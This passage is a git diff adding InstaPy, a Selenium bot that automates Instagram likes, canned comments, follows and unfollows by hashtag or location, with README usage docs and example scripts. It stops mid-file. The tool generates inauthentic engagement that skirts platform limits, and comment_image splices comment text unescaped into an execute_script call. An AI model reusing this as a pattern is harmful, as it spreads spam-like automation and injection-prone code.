+#will ignore the don't like if the description contains
+# one of the given words
+
+session.set_ignore_if_contains(['glutenfree', 'french', 'tasty'])
+```
+
+##### Commenting
+
+```python
+#default enabled=False, ~ every 4th image will be commented on
+
+session.set_do_comment(enabled=True, percentage=25)
+session.set_comments(['Awesome', 'Really Cool', 'I like your stuff'])
+
+# you can also set comments for specific media types (Photo / Video)
+session.set_comments(['Nice shot!'], media='Photo')
+session.set_comments(['Great Video!'], media='Video')
+```
+
+##### Emoji Support  
+You can use Unicode characters (like Emoji) in your comments
+1. You have to convert your comment to Unicode. This can safely be done by adding an u in front of the opening apostrophe: 
+
+```session.set_comments([u'This post is 🔥',u'More emojis are always better 💯',u'I love your posts 😍😍😍']);```
+
+```session.set_comments([u'Emoji text codes are also supported :100: :thumbsup: :thumbs_up: \u2764 💯💯']);```
+
+Emoji text codes are implemented using 2 different naming codes. A complete list of emojis codes can be found on the [Python Emoji Github](https://github.com/carpedm20/emoji/blob/master/emoji/unicode_codes.py), but you can use the alternate shorted naming scheme found for Emoji text codes [here](https://www.webpagefx.com/tools/emoji-cheat-sheet). Note: Every Emoji has not been tested. Please report any inconsistancies. 
+
+
+> **Legacy Emoji Support** 
+>
+> You can still use Unicode strings in your comments, but there are some limitations.
+> 1. You can use only Unicode characters with no more than 4 characters and you have to use the unicode code (e. g. ```\u1234```). You find a list of emoji with unicode codes on [Wikipedia](https://en.wikipedia.org/wiki/Emoji#Unicode_blocks), but there is also a list of working emoji in ```/assets```  
+>
+> 2. You have to convert your comment to Unicode. This can safely be done by adding an u in front of the opening apostrophe: ```u'\u1234 some comment'```
+
+##### Following
+
+```python
+#default enabled=False, follows ~ 10% of the users from the images, times=1 (only follows a user once (if unfollowed again))
+
+session.set_do_follow(enabled=True, percentage=10, times=2)
+```
+
+##### Following by a list
+
+```python
+#follows each account from a list of instagram nicknames (only follows a user once (if unfollowed again))
+# would be useful for the precise targeting. For example, if one needs to get followbacks from followers of a chosen account/group of accounts.
+
+accs = ['therock','natgeo']
+session.follow_by_list(accs, times=1)
+```
+
+##### Excluding friends
+
+```python
+#will prevent commenting on and unfollowing your good friends (the images will still be liked)
+
+session.set_dont_include(['friend1', 'friend2', 'friend3'])
+```
+
+##### Interactions based on the number of followers a user has
+
+```python
+#This is used to check the number of followers a user has and if this number exceeds the number set then no further interaction happens
+
+session.set_upper_follower_count(limit = 250)
+```
+
+```python
+#This is used to check the number of followers a user has and if this number does not pass the number set then no further interaction happens
+
+session.set_lower_follower_count(limit = 1)
+```
+
+##### Unfollowing
+
+```python
+#unfollows 10 of the accounts you're following -> instagram will only unfollow 10 before you'll be 'blocked for 10 minutes' (if you enter a higher number than 10 it will unfollow 10, then wait 10 minutes and will continue then)
+
+session.unfollow_users(amount=10)
+```
+
+##### Follow/Unfollow/exclude not working?
+If you notice that one or more of the above functionalities are not working as expected - e.g. you have specified:
+```python
+session.set_do_follow(enabled=True, percentage=10, times=2)
+```
+but none of the profiles are being followed - or any such functionality is misbehaving - then one thing you should check is the position/order of such methods in your script. Essentially, all the ```set_*``` methods have to be before ```like_by_tags``` or ```like_by_locations``` or ```unfollow```. This is also implicit in all the exmples and quickstart.py
+
+##### Running on a server?
+
+```python
+#you can use the nogui parameter to use a virtual display
+
+session = InstaPy(username='test', password='test', nogui=True)
+```
+
+##### Running InstaPy automated
+
+You can add InstaPy to crontab, so that the script will be executed regularly. This is especially useful for servers, but be sure not to break Instagrams follow and like limits.
+
+**An example:**
+
+```
+# Edit or create a crontab
+crontab -e
+# Add information to execute your InstaPy regularly.
+# With cd you navigate to your InstaPy folder, with the part after && you execute your quickstart.py with python. Make sure that those paths match your environment.
+45 */4 * * * cd /home/user/InstaPy && /usr/bin/python ./quickstart.py
+```
+
+### Clarifai ImageAPI
+<img src="https://d1qb2nb5cznatu.cloudfront.net/startups/i/396673-2fb6e8026b393dddddc093c23d8cd866-medium_jpg.jpg?buster=1399901540" width="200" align="right">
+
+###### Note: Head over to https://developer.clarifai.com/signup/ and create a free account, once you're logged in go to https://developer.clarifai.com/account/applications/ and create a new application. You can find the client ID and Secret there. You get 5000 API-calls free/month.  
+
+If you want the script to get your Clarifai_ID and Clarifai_Secret for your environment, you can do:
+
+```
+export CLARIFAI_ID="<ProjectID>"
+export CLARIFAI_SECRET="<Project Secret>"
+```
+#### Example with Imagecontent handling
+
+```python
+from instapy import InstaPy
+
+InstaPy(username='test', password='test')\
+  .login()\
+  .set_do_comment(True, percentage=10)\
+  .set_comments(['Cool!', 'Awesome!', 'Nice!'])\
+  .set_dont_include(['friend1', 'friend2', 'friend3'])\
+  .set_dont_like(['food', 'girl', 'hot'])\
+  .set_ignore_if_contains(['pizza'])\
+  .set_use_clarifai(enabled=True)\
+  .clarifai_check_img_for(['nsfw'])\
+  .clarifai_check_img_for(['food', 'lunch', 'dinner'], comment=True, comments=['Tasty!', 'Nice!', 'Yum!'])\
+  .like_by_tags(['dog', '#cat'], amount=100)\
+  .end()
+```
+##### Enabling Imagechecking
+
+```python
+#default enabled=False , enables the checking with the clarifai api (image tagging)
+#if secret and proj_id are not set, it will get the environment Variables
+# 'Clarifai_SECRET' and 'CLARIFAI_ID'
+
+session.set_use_clarifai(enabled=True, secret='xyz', proj_id='123')
+```
+##### Filtering inappropriate images
+
+```python
+# uses the clarifai api to check if the image contains nsfw content
+# -> won't comment if image is nsfw
+
+session.clarifai_check_img_for(['nsfw'])
+```
+
+##### Specialized comments for images with specific content
+
+```python
+#checks the image for keywords food and lunch, if both are found,
+#comments with the given comments. If full_match is False (default), it only
+# requires a single tag to match Clarifai results.
+
+session.clarifai_check_img_for(['food', 'lunch'], comment=True, comments=['Tasty!', 'Yum!'], full_match=True)
+```
+
+###### Check out https://clarifai.com/demo to see some of the available tags.
+
+### Running it with Docker
+
+#### Build the Image
+
+Make sure to use the `nogui` feature:
+```python
+#you can use the nogui parameter to use a virtual display
+
+session = InstaPy(username='test', password='test', nogui=True)
+```
+
+You first need to build the image by running this in the Terminal:
+```bash
+docker build instapy .
+```
+
+#### Run in a Container
+
+After the build succeeded, you can simply run the container with:
+```bash
+docker run --name=instapy -e INSTA_USER=<your-user> -e INSTA_PW=<your-pw> -d instapy
+```
+
+---
+
+###### Have Fun & Feel Free to report any issues
+
+> **Disclaimer**: Please Note that this is a research project. I am by no means responsible for any usage of this tool. Use on your own behalf. I'm also not responsible if your accounts get banned due to extensive use of this tool.
diff --git a/InstaPy/examples/__init__.py b/InstaPy/examples/__init__.py
new file mode 100644
index 00000000..e69de29b
diff --git a/InstaPy/examples/chainingExample.py b/InstaPy/examples/chainingExample.py
new file mode 100644
index 00000000..9f7fc615
--- /dev/null
+++ b/InstaPy/examples/chainingExample.py
@@ -0,0 +1,10 @@
+from instapy import InstaPy
+
+InstaPy(username='test', password='test')\
+  .login()\
+  .set_do_comment(True, percentage=10)\
+  .set_comments(['Cool!', 'Awesome!', 'Nice!'])\
+  .set_dont_include(['friend1', 'friend2', 'friend3'])\
+  .set_dont_like(['food', 'girl', 'hot'])\
+  .like_by_tags(['dog', '#cat'], amount=2)\
+  .end()
\ No newline at end of file
diff --git a/InstaPy/examples/example.py b/InstaPy/examples/example.py
new file mode 100644
index 00000000..02c61662
--- /dev/null
+++ b/InstaPy/examples/example.py
@@ -0,0 +1,75 @@
+"""Example Case of the Script"""
+from instapy import InstaPy
+
+#if you don't provide arguments, the script will look for INSTA_USER and INSTA_PW in the environment
+session = InstaPy(username='test', password='test')
+
+"""Logging in"""
+#logs you in with the specified username and password
+session.login()
+
+"""Comment util"""
+#default enabled=False, ~ every 4th image will be commented on
+session.set_do_comment(enabled=True, percentage=25)
+session.set_comments(['Awesome', 'Really Cool', 'I like your stuff'])
+# you can also set comments for specific media types (Photo / Video)
+session.set_comments(['Nice shot!'], media='Photo')
+session.set_comments(['Great Video!'], media='Video')
+
+"""Follow util"""
+#default enabled=False, follows ~ every 10th user from the images
+session.set_do_follow(enabled=True, percentage=10)
+
+"""Image Check with Image tagging api"""
+#default enabled=False , enables the checking with the clarifai api (image tagging)
+#if secret and proj_id are not set, it will get the environment Variables
+# 'Clarifai_SECRET' and 'CLARIFAI_ID'
+session.set_use_clarifai(enabled=True, secret='xyz', proj_id='123')
+#                                        ^
+# ^If specified once, you don't need to add them again
+
+session.set_use_clarifai(enabled=False)
+session.set_use_clarifai(enabled=True) #<- will use the one from above
+
+#uses the clarifai api to check if the image contains nsfw content
+# Check out their homepage to see which tags there are -> won't comment on image
+# (you won't do this on every single image or the 5000 free checks are wasted very fast)
+session.clarifai_check_img_for(['nsfw'], comment=False) # !if no tags are set, use_clarifai will be False
+
+#checks the image for keywords food and lunch, if found, sets the comments possible comments
+#to the given comments
+session.clarifai_check_img_for(['food', 'lunch'], comment=True, comments=['Tasty!', 'Yum!'])
+session.clarifai_check_img_for(['dog', 'cat', 'cute'], comment=True, comments=['Sweet!', 'Cutie!!!'])
+
+"""Like util"""
+#completely ignore liking images from certain users
+session.set_ignore_users(['random_user', 'another_username'])
+#searches the description and owner comments for the given words
+# and won't like the image if one of the words are in there
+session.set_dont_like(['food', 'eat', 'meal'])
+#will ignore the don't like if the description contains
+# one of the given words
+session.set_ignore_if_contains(['glutenfree', 'french', 'tasty'])
+
+
+"""Unfollow util"""
+#will prevent commenting and unfollowing your good friends
+session.set_dont_include(['friend1', 'friend2', 'friend3'])
+
+"""Different tasks"""
+# you can put in as much tags as you want, likes 100 of each tag
+session.like_by_tags(['#test'], amount=100)
+# you can also set to like a specific media (Photo / Video)
+session.like_by_tags(['#test'], amount=10, media='Photo')
+
+#get's the tags from the description and likes 100 images of each tag
+session.like_from_image(url='www.instagram.com/image', amount=100)
+# media filtering works here as well
+session.like_by_tags(['#test'], amount=10, media='Video')
+
+session.unfollow_users(amount=10) #unfollows 10 of the accounts your following -> instagram will only unfollow 10 before you'll be 'blocked
+#  for 10 minutes' (if you enter a higher number than 10 it will unfollow 10, then wait 10 minutes and will continue then)
+
+"""Ending the script"""
+#clears all the cookies, deleting you password and all information from this session
+session.end()
diff --git a/InstaPy/instapy/__init__.py b/InstaPy/instapy/__init__.py
new file mode 100644
index 00000000..3b97dfd6
--- /dev/null
+++ b/InstaPy/instapy/__init__.py
@@ -0,0 +1 @@
+from .instapy import InstaPy
\ No newline at end of file
diff --git a/InstaPy/instapy/clarifai_util.py b/InstaPy/instapy/clarifai_util.py
new file mode 100644
index 00000000..862bf78c
--- /dev/null
+++ b/InstaPy/instapy/clarifai_util.py
@@ -0,0 +1,35 @@
+"""Module which handles the clarifai api and checks
+the image for invalid content"""
+from clarifai.client import ClarifaiApi
+
+def check_image(browser, clarifai_id, clarifai_secret, img_tags, full_match=False):
+  """Uses the link to the image to check for invalid content in the image"""
+  clarifai_api = ClarifaiApi(clarifai_id, clarifai_secret)
+
+  img_link = get_imagelink(browser)
+  result = clarifai_api.tag_image_urls(img_link)
+  clarifai_tags = result['results'][0]['result']['tag']['classes']
+
+  for (tags, should_comment, comments) in img_tags:
+    if should_comment:
+      if given_tags_in_result(tags, clarifai_tags, full_match):
+        return True, comments
+    else:
+      if given_tags_in_result(tags, clarifai_tags, full_match):
+        print('Inappropriate content in Image, not commenting')
+        return False, []
+
+  return True, []
+
+def given_tags_in_result(search_tags, clarifai_tags, full_match=False):
+  """Checks the clarifai tags if it contains one (or all) search tags """
+  if full_match:
+    return all([tag in clarifai_tags for tag in search_tags])
+  else:
+    return any((tag in clarifai_tags for tag in search_tags))
+
+
+def get_imagelink(browser):
+  """Gets the imagelink from the given webpage open in the browser"""
+  return browser.find_element_by_xpath('//img[@class = "_icyx7"]')\
+         .get_attribute('src')
diff --git a/InstaPy/instapy/comment_util.py b/InstaPy/instapy/comment_util.py
new file mode 100644
index 00000000..227ae0c9
--- /dev/null
+++ b/InstaPy/instapy/comment_util.py
@@ -0,0 +1,37 @@
+# -*- coding: utf-8 -*-
+"""Module which handles the commenting features"""
+from random import choice
+from selenium import webdriver
+from selenium.webdriver.common.by import By
+from selenium.webdriver.support.ui import WebDriverWait
+from selenium.webdriver.support import expected_conditions as EC
+
+from .time_util import sleep
+import emoji
+
+def comment_image(browser, comments):
+  """Checks if it should comment on the image"""
+  rand_comment = (choice(comments))
+  rand_comment = emoji.demojize(rand_comment)
+  rand_comment = emoji.emojize(rand_comment, use_aliases=True)
+
+
+
+  comment_input = browser.find_elements_by_xpath('//textarea[@placeholder = "Add a comment…"]')
+  if len(comment_input) <= 0:
+    comment_input = browser.find_elements_by_xpath('//input[@placeholder = "Add a comment…"]')
+
+  if len(comment_input) > 0:
+    browser.execute_script("arguments[0].value = '" + rand_comment + " ';", comment_input[0]);
+    #An extra space is added here and then deleted. This forces the input box to update the reactJS core
+    comment_input[0].send_keys("\b")
+    comment_input[0].submit()
+  else:
+    print(u'--> Warning: Comment Action Likely Failed: Comment Element not found')
+    # print(u'--> Commented: {}'.format(rand_comment))
+  #print("--> Commented: " + rand_comment.encode('utf-8'))
+  print("--> Commented: {}".format(rand_comment.encode('utf-8')))
+  sleep(2)
+
+
+  return 1
diff --git a/InstaPy/instapy/instapy.py b/InstaPy/instapy/instapy.py
new file mode 100644
index 00000000..d8b97623
--- /dev/null
+++ b/InstaPy/instapy/instapy.py
@@ -0,0 +1,513 @@
+"""OS Modules environ method to get the setup vars from the Environment"""
+from datetime import datetime
+from os import environ
+from random import randint
+from pyvirtualdisplay import Display
+from selenium import webdriver
+from selenium.common.exceptions import NoSuchElementException
+from selenium.webdriver.chrome.options import Options
+
+from .clarifai_util import check_image
+from .comment_util import comment_image
+from .like_util import check_link
+from .like_util import get_links_for_tag
+from .like_util import get_tags
+from .like_util import get_links_for_location
+from .like_util import like_image
+from .login_util import login_user
+from .print_log_writer import log_follower_num
+from .time_util import sleep
+from .unfollow_util import unfollow
+from .unfollow_util import follow_user
+from .unfollow_util import follow_given_user
+from .unfollow_util import load_follow_restriction
+from .unfollow_util import dump_follow_restriction
+
+class InstaPy:
+  """Class to be instantiated to use the script"""
+  def __init__(self, username=None, password=None, nogui=False):
+    if nogui:
+      self.display = Display(visible=0, size=(800, 600))
+      self.display.start()
+
+    chrome_options = Options()
+    chrome_options.add_argument('--dns-prefetch-disable')
+    chrome_options.add_argument('--no-sandbox')
+    chrome_options.add_argument('--lang=en-US')
+    chrome_options.add_experimental_option('prefs', {'intl.accept_languages': 'en-US'})
+    self.browser = webdriver.Chrome('./assets/chromedriver', chrome_options=chrome_options)
+    self.browser.implicitly_wait(25)
+
+    self.logFile = open('./logs/logFile.txt', 'a')
+    self.logFile.write('Session started - %s\n' \
+                       % (datetime.now().strftime('%Y-%m-%d %H:%M:%S')))
+
+    self.username = username or environ.get('INSTA_USER')
+    self.password = password or environ.get('INSTA_PW')
+    self.nogui = nogui
+
+
+    self.do_comment = False
+    self.comment_percentage = 0
+    self.comments = ['Cool!', 'Nice!', 'Looks good!']
+    self.photo_comments = []
+    self.video_comments = []
+
+    self.followed = 0
+    self.follow_restrict = load_follow_restriction()
+    self.follow_times = 1
+    self.do_follow = False
+    self.follow_percentage = 0
+    self.dont_include = []
+
+    self.dont_like = ['sex', 'nsfw']
+    self.ignore_if_contains = []
+    self.ignore_users = []
+
+    self.use_clarifai = False
+    self.clarifai_secret = None
+    self.clarifai_id = None
+    self.clarifai_img_tags = []
+    self.clarifai_full_match = False
+
+    self.like_by_followers_upper_limit = 0
+    self.like_by_followers_lower_limit = 0
+
+    self.aborting = False
+
+  def login(self):
+    """Used to login the user either with the username and password"""
+    if not login_user(self.browser, self.username, self.password):
+      print('Wrong login data!')
+      self.logFile.write('Wrong login data!\n')
+
+      self.aborting = True
+    else:
+      print('Logged in successfully!')
+      self.logFile.write('Logged in successfully!\n')
+
+    log_follower_num(self.browser, self.username)
+
+    return self
+
+  def set_do_comment(self, enabled=False, percentage=0):
+    """Defines if images should be commented or not
+    percentage=25 -> ~ every 4th picture will be commented"""
+    if self.aborting:
+      return self
+
+    self.do_comment = enabled
+    self.comment_percentage = percentage
+
+    return self
+
+  def set_comments(self, comments=None, media=None):
+    """Changes the possible comments"""
+    if self.aborting:
+      return self
+
+    if (media not in [None, 'Photo', 'Video']):
+      print('Unkown media type! Treating as "any".')
+      media = None
+
+    self.comments = comments or []
+
+    if media is None:
+      self.comments = comments
+    else:
+      attr = '{}_comments'.format(media.lower())
+      setattr(self, attr, comments)
+
+    return self
+
+  def set_do_follow(self, enabled=False, percentage=0, times=1):
+    """Defines if the user of the liked image should be followed"""
+    if self.aborting:
+      return self
+
+    self.follow_times = times
+    self.do_follow = enabled
+    self.follow_percentage = percentage
+
+    return self
+
+  def set_dont_like(self, tags=None):
+    """Changes the possible restriction tags, if one of this
+     words is in the description, the image won't be liked"""
+    if self.aborting:
+      return self
+
+    self.dont_like = tags or []
+
+    return self
+
+  def set_ignore_users(self, users=None):
+    """Changes the possible restriction to users, if user who postes
+    is one of this, the image won't be liked"""
+    if self.aborting:
+      return self
+
+    self.ignore_users = users or []
+
+    return self
+
+  def set_ignore_if_contains(self, words=None):
+    """ignores the don't likes if the description contains
+    one of the given words"""
+    if self.aborting:
+      return self
+
+    self.ignore_if_contains = words or []
+
+    return self
+
+  def set_dont_include(self, friends=None):
+    """Defines which accounts should not be unfollowed"""
+    if self.aborting:
+      return self
+
+    self.dont_include = friends or []
+
+    return self
+
+  def set_use_clarifai(self, enabled=False, secret=None, proj_id=None, full_match=False):
+    """Defines if the clarifai img api should be used
+    Which 'project' will be used (only 5000 calls per month)"""
+    if self.aborting:
+      return self
+
+    self.use_clarifai = enabled
+
+    if secret is None and self.clarifai_secret is None:
+      self.clarifai_secret = environ.get('CLARIFAI_SECRET')
+    elif secret:
+      self.clarifai_secret = secret
+
+    if proj_id is None and self.clarifai_id is None:
+      self.clarifai_id = environ.get('CLARIFAI_ID')
+    elif proj_id is not None:
+      self.clarifai_id = proj_id
+
+    self.clarifai_full_match = full_match
+
+    return self
+
+  def clarifai_check_img_for(self, tags=None, comment=False, comments=None):
+    """Defines the tags, the images should be checked for"""
+    if self.aborting:
+      return self
+
+    if tags is None and not self.clarifai_img_tags:
+      self.use_clarifai = False
+    elif tags:
+      self.clarifai_img_tags.append((tags, comment, comments))
+
+    return self
+
+  def follow_by_list(self, followlist, times=1):
+    """Allows to follow by any scrapped list"""
+    self.follow_times = times or 0
+    if self.aborting:
+      return self
+
+    followed = 0
+
+    for acc_to_follow in followlist:
+      if self.follow_restrict.get(acc_to_follow, 0) < self.follow_times:
+        followed += follow_given_user(self.browser, acc_to_follow, self.follow_restrict)
+        self.followed += followed
+        self.logFile.write('Followed: {}\n'.format(str(followed)))
+        followed = 0
+      else:
+        print('---> {} has already been followed more than {} times'.format(acc_to_follow,
+              str(self.follow_times)))
+        sleep(1)
+
+    return self
+
+  def set_upper_follower_count(self, limit=None):
+    """Used to chose if a post is liked by the number of likes"""
+    self.like_by_followers_upper_limit = limit or 0
+    return self
+
+  def set_lower_follower_count(self, limit=None):
+    """Used to chose if a post is liked by the number of likes"""
+    self.like_by_followers_lower_limit = limit or 0
+    return self
+
+  def like_by_locations(self, locations=None, amount=50, media=None):
+    """Likes (default) 50 images per given locations"""
+    if self.aborting:
+      return self
+
+    liked_img = 0
+    already_liked = 0
+    inap_img = 0
+    commented = 0
+    followed = 0
+
+    locations = locations or []
+
+    for index, location in enumerate(locations):
+      print('Location [{}/{}]'.format(index + 1, len(locations)))
+      print('--> {}'.format(location.encode('utf-8')))
+      self.logFile.write('Location [{}/[]]'.format(index + 1, len(locations)))
+      self.logFile.write('--> {}\n'.format(location.encode('utf-8')))
+
+      try:
+        links = get_links_for_location(self.browser, location, amount, media)
+      except NoSuchElementException:
+        print('Too few images, aborting')
+        self.logFile.write('Too few images, aborting\n')
+
+        self.aborting = True
+        return self
+
+      for i, link in enumerate(links):
+        print('[{}/{}]'.format(i + 1, len(links)))
+        self.logFile.write('[{}/{}]'.format(i + 1, len(links)))
+        self.logFile.write(link)
+
+        try:
+          inappropriate, user_name, is_video, reason = \
+            check_link(self.browser, link, self.dont_like, self.ignore_if_contains, self.ignore_users,
+                       self.username, self.like_by_followers_upper_limit, self.like_by_followers_lower_limit)
+
+          if not inappropriate:
+            liked = like_image(self.browser)
+
+            if liked:
+              liked_img += 1
+              checked_img = True
+              temp_comments = []
+              commenting = randint(0, 100) <= self.comment_percentage
+              following = randint(0, 100) <= self.follow_percentage
+
+              if self.use_clarifai and (following or commenting):
+                try:
+                  checked_img, temp_comments =\
+                    check_image(self.browser, self.clarifai_id,
+                                self.clarifai_secret,
+                                self.clarifai_img_tags,
+                                self.clarifai_full_match)
+                except Exception as err:
+                  print('Image check error: {}'.format(err))
+                  self.logFile.write('Image check error: {}\n'.format(err))
+
+              if self.do_comment and user_name not in self.dont_include \
+                  and checked_img and commenting:
+                if temp_comments:
+                  # Use clarifai related comments only!
+                  comments = temp_comments
+                elif is_video:
+                  comments = self.comments + self.video_comments
+                else:
+                  comments = self.comments + self.photo_comments
+                commented += comment_image(self.browser, comments)
+              else:
+                print('--> Not commented')
+                sleep(1)
+
+              if self.do_follow and user_name not in self.dont_include \
+                  and checked_img and following \
+                  and self.follow_restrict.get(user_name, 0) < self.follow_times:
+                followed += follow_user(self.browser, user_name, self.follow_restrict)
+              else:
+                print('--> Not following')
+                sleep(1)
+            else:
+              already_liked += 1
+          else:
+            print('--> Image not liked: {}'.format(reason))
+            inap_img += 1
+        except NoSuchElementException as err:
+          print('Invalid Page: {}'.format(err))
+          self.logFile.write('Invalid Page: {}\n'.format(err))
+
+        print('')
+        self.logFile.write('\n')
+
+    print('Liked: {}'.format(liked_img))
+    print('Already Liked: {}'.format(already_liked))
+    print('Inappropriate: {}'.format(inap_img))
+    print('Commented: {}'.format(commented))
+    print('Followed: {}'.format(followed))
+
+    self.logFile.write('Liked: {}\n'.format(liked_img))
+    self.logFile.write('Already Liked: {}\n'.format(already_liked))
+    self.logFile.write('Inappropriate: {}\n'.format(inap_img))
+    self.logFile.write('Commented: {}\n'.format(commented))
+    self.logFile.write('Followed: {}\n'.format(followed))
+
+    self.followed += followed
+
+    return self
+
+  def like_by_tags(self, tags=None, amount=50, media=None):
+
+    """Likes (default) 50 images per given tag"""
+    if self.aborting:
+      return self
+
+    liked_img = 0
+    already_liked = 0
+    inap_img = 0
+    commented = 0
+    followed = 0
+
+    tags = tags or []
+
+    for index, tag in enumerate(tags):
+      print('Tag [{}/{}]'.format(index + 1, len(tags)))
+      print('--> {}'.format(tag.encode('utf-8')))
+      self.logFile.write('Tag [{}/[]]'.format(index + 1, len(tags)))
+      self.logFile.write('--> {}\n'.format(tag.encode('utf-8')))
+
+      try:
+        links = get_links_for_tag(self.browser, tag, amount, media)
+      except NoSuchElementException:
+        print('Too few images, aborting')
+        self.logFile.write('Too few images, aborting\n')
+
+        self.aborting = True
+        return self
+
+      for i, link in enumerate(links):
+        print('[{}/{}]'.format(i + 1, len(links)))
+        self.logFile.write('[{}/{}]'.format(i + 1, len(links)))
+        self.logFile.write(link)
+
+        try:
+          inappropriate, user_name, is_video, reason = \
+            check_link(self.browser, link, self.dont_like, self.ignore_if_contains, self.ignore_users,
+                       self.username, self.like_by_followers_upper_limit, self.like_by_followers_lower_limit)
+
+          if not inappropriate:
+            liked = like_image(self.browser)
+
+            if liked:
+              liked_img += 1
+              checked_img = True
+              temp_comments = []
+              commenting = randint(0, 100) <= self.comment_percentage
+              following = randint(0, 100) <= self.follow_percentage
+
+              if self.use_clarifai and (following or commenting):
+                try:
+                  checked_img, temp_comments =\
+                    check_image(self.browser, self.clarifai_id,
+                                self.clarifai_secret,
+                                self.clarifai_img_tags,
+                                self.clarifai_full_match)
+                except Exception as err:
+                  print('Image check error: {}'.format(err))
+                  self.logFile.write('Image check error: {}\n'.format(err))
+
+              if self.do_comment and user_name not in self.dont_include \
+                  and checked_img and commenting:
+                if temp_comments:
+                  # Use clarifai related comments only!
+                  comments = temp_comments
+                elif is_video:
+                  comments = self.comments + self.video_comments
+                else:
+                  comments = self.comments + self.photo_comments
+                commented += comment_image(self.browser, comments)
+              else:
+                print('--> Not commented')
+                sleep(1)
+
+              if self.do_follow and user_name not in self.dont_include \
+                  and checked_img and following \
+                  and self.follow_restrict.get(user_name, 0) < self.follow_times:
+                followed += follow_user(self.browser, user_name, self.follow_restrict)
+              else:
+                print('--> Not following')
+                sleep(1)
+            else:
+              already_liked += 1
+          else:
+            print('--> Image not liked: {}'.format(reason))
+            inap_img += 1
+        except NoSuchElementException as err:
+          print('Invalid Page: {}'.format(err))
+          self.logFile.write('Invalid Page: {}\n'.format(err))
+
+        print('')
+        self.logFile.write('\n')
+
+    print('Liked: {}'.format(liked_img))
+    print('Already Liked: {}'.format(already_liked))
+    print('Inappropriate: {}'.format(inap_img))
+    print('Commented: {}'.format(commented))
+    print('Followed: {}'.format(followed))
+
+    self.logFile.write('Liked: {}\n'.format(liked_img))
+    self.logFile.write('Already Liked: {}\n'.format(already_liked))
+    self.logFile.write('Inappropriate: {}\n'.format(inap_img))
+    self.logFile.write('Commented: {}\n'.format(commented))
+    self.logFile.write('Followed: {}\n'.format(followed))
+
+    self.followed += followed
+
+    return self
+
+  def like_from_image(self, url, amount=50, media=None):
+    """Gets the tags from an image and likes 50 images for each tag"""
+    if self.aborting:
+      return self
+
+    try:
+      tags = get_tags(self.browser, url)
+      print(tags)
+      self.like_by_tags(tags, amount, media)
+    except TypeError as err:
+      print('Sorry, an error occured: {}'.format(err))
+      self.logFile.write('Sorry, an error occured: {}\n'.format(err))
+
+      self.aborting = True
+      return self
+
+    return self
+
+  def unfollow_users(self, amount=10):
+    """Unfollows (default) 10 users from your following list"""
+    while amount > 0:
+      try:
+        amount -= unfollow(self.browser, self.username, amount, self.dont_include)
+      except TypeError as err:
+        print('Sorry, an error occured: {}'.format(err))
+        self.logFile.write('Sorry, an error occured: {}\n'.format(err))
+
+        self.aborting = True
+        return self
+
+      if amount > 10:
+        sleep(600)
+        print('Sleeping for about 10min')
+
+    return self
+
+  def end(self):
+    """Closes the current session"""
+    dump_follow_restriction(self.follow_restrict)
+    self.browser.delete_all_cookies()
+    self.browser.close()
+
+    if self.nogui:
+      self.display.stop()
+
+    print('')
+    print('Session ended')
+    print('-------------')
+
+    self.logFile.write(
+      '\nSession ended - {}\n'.format(
+        datetime.now().strftime('%Y-%m-%d %H:%M:%S')
+      )
+    )
+    self.logFile.write('-' * 20 + '\n\n')
+    self.logFile.close()
+
+    with open('./logs/followed.txt', 'w') as followFile:
+      followFile.write(str(self.followed))
diff --git a/InstaPy/instapy/like_util.py b/InstaPy/instapy/like_util.py
new file mode 100644
index 00000000..d923f451
--- /dev/null
+++ b/InstaPy/instapy/like_util.py
@@ -0,0 +1,303 @@
+import re
+
+"""Module that handles the like features"""
+from math import ceil
+from re import findall
+from selenium.webdriver.common.keys import Keys
+
+from .time_util import sleep
+
+def get_links_for_location(browser, location, amount, media=None):
+  """Fetches the number of links specified
+  by amount and returns a list of links"""
+  if media is None:
+    # All known media types
+    media = ['', 'Post', 'Video']
+  elif media == 'Photo':
+    # Include posts with multiple images in it
+    media = ['', 'Post']
+  else:
+    # Make it an array to use it in the following part
+    media = [media]
+
+  browser.get('https://www.instagram.com/explore/locations/'
+              + location)
+  sleep(2)
+
+  # clicking load more
+  body_elem = browser.find_element_by_tag_name('body')
+  sleep(2)
+
+  abort = True
+  try:
+    load_button = body_elem.find_element_by_xpath \
+      ('//a[contains(@class, "_8imhp _glz1g")]')
+  except:
+    print('Load button not found, working with current images!')
+  else:
+    abort = False
+    body_elem.send_keys(Keys.END)
+    sleep(2)
+    load_button.click()
+
+  body_elem.send_keys(Keys.HOME)
+  sleep(1)
+
+  # Get links
+  main_elem = browser.find_element_by_tag_name('main')
+  link_elems = main_elem.find_elements_by_tag_name('a')
+  total_links = len(link_elems)
+  links = [link_elem.get_attribute('href') for link_elem in link_elems
+           if link_elem.text in media]
+  filtered_links = len(links)
+
+  while (filtered_links < amount) and not abort:
+    amount_left = amount - filtered_links
+    # Average items of the right media per page loaded
+    new_per_page = ceil(12 * filtered_links / total_links)
+    if new_per_page == 0:
+      # Avoid division by zero
+      new_per_page = 1. / 12.
+    # Number of page load needed
+    new_needed = int(ceil(amount_left / new_per_page))
+
+    if new_needed > 12:
+      # Don't go bananas trying to get all of instagram!
+      new_needed = 12
+
+    for i in range(new_needed):  # add images x * 12
+      # Keep the latest window active while loading more posts
+      before_load = total_links
+      body_elem.send_keys(Keys.END)
+      sleep(1)
+      body_elem.send_keys(Keys.HOME)
+      sleep(1)
+      link_elems = main_elem.find_elements_by_tag_name('a')
+      total_links = len(link_elems)
+      abort = (before_load == total_links)
+      if abort:
+        break
+
+    links = [link_elem.get_attribute('href') for link_elem in link_elems
+             if link_elem.text in media]
+    filtered_links = len(links)
+
+  return links[:amount]
+
+def get_links_for_tag(browser, tag, amount, media=None):
+  """Fetches the number of links specified
+  by amount and returns a list of links"""
+  if media is None:
+    # All known media types
+    media = ['', 'Post', 'Video']
+  elif media == 'Photo':
+    # Include posts with multiple images in it
+    media = ['', 'Post']
+  else:
+    # Make it an array to use it in the following part
+    media = [media]
+
+  browser.get('https://www.instagram.com/explore/tags/'
+              + (tag[1:] if tag[:1] == '#' else tag))
+  sleep(2)
+
+  # clicking load more
+  body_elem = browser.find_element_by_tag_name('body')
+  sleep(2)
+
+  abort = True
+  try:
+    load_button = body_elem.find_element_by_xpath \
+      ('//a[contains(@class, "_8imhp _glz1g")]')
+  except:
+    print('Load button not found, working with current images!')
+  else:
+    abort = False
+    body_elem.send_keys(Keys.END)
+    sleep(2)
+    load_button.click()
+
+  body_elem.send_keys(Keys.HOME)
+  sleep(1)
+
+  # Get links
+  main_elem = browser.find_element_by_tag_name('main')
